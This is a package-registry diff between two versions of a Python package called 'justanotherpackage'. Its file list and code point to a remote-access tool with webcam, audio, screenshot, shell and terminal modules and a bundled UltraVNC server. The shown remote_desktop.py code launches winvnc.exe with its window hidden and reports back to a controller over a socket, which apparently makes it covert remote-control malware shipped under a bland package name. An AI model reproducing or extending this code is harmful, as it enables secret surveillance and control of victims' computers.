justanotherpackage 0.2.3__tar.gz → 0.2.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (27) hide show
  1. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/PKG-INFO +1 -1
  2. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/features/remote_desktop.py +4 -2
  3. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage.egg-info/PKG-INFO +1 -1
  4. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/setup.py +1 -1
  5. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/MANIFEST.in +0 -0
  6. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/__init__.py +0 -0
  7. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/account_type.py +0 -0
  8. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/connect.py +0 -0
  9. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/features/__init__.py +0 -0
  10. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/features/audio.py +0 -0
  11. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/features/screenshot.py +0 -0
  12. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/features/terminal.py +0 -0
  13. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/features/webcam.py +0 -0
  14. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/shell.py +0 -0
  15. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  16. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  17. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  18. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  19. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  20. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/ddengine.dll +0 -0
  21. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/logging.dll +0 -0
  22. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/vnchooks.dll +0 -0
  23. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage/vnc/winvnc.exe +0 -0
  24. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage.egg-info/SOURCES.txt +0 -0
  25. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  26. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/justanotherpackage.egg-info/top_level.txt +0 -0
  27. {justanotherpackage-0.2.3 → justanotherpackage-0.2.4}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.3
3
+ Version: 0.2.4
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -4,6 +4,7 @@ import time
4
4
  import justanotherpackage
5
5
  import os
6
6
  import json
7
+ import traceback
7
8
 
8
9
  def find_process_by_exe(file_name):
9
10
  for proc in psutil.process_iter(['pid', 'exe']):
@@ -14,7 +15,7 @@ def find_process_by_exe(file_name):
14
15
  continue
15
16
  return None
16
17
 
17
- def start_remote_desktop(HOST, data, client_socket):
18
+ def start_remote_desktop(data, HOST, client_socket):
18
19
  try:
19
20
  port = data["port"]
20
21
  remote_pid = find_process_by_exe("winvnc.exe")
@@ -28,7 +29,7 @@ def start_remote_desktop(HOST, data, client_socket):
28
29
  shell=True,
29
30
  creationflags=subprocess.CREATE_NO_WINDOW
30
31
  )
31
- time.sleep(3)
32
+ time.sleep(5)
32
33
 
33
34
  remote_pid = find_process_by_exe("winvnc.exe")
34
35
 
@@ -41,5 +42,6 @@ def start_remote_desktop(HOST, data, client_socket):
41
42
  except (ConnectionError, ConnectionResetError):
42
43
  pass
43
44
  except Exception as e:
45
+ traceback.print_exc()
44
46
  message = f"From Remote: {str(e)}"
45
47
  client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.3
3
+ Version: 0.2.4
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.2.3",
5
+ version="0.2.4",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,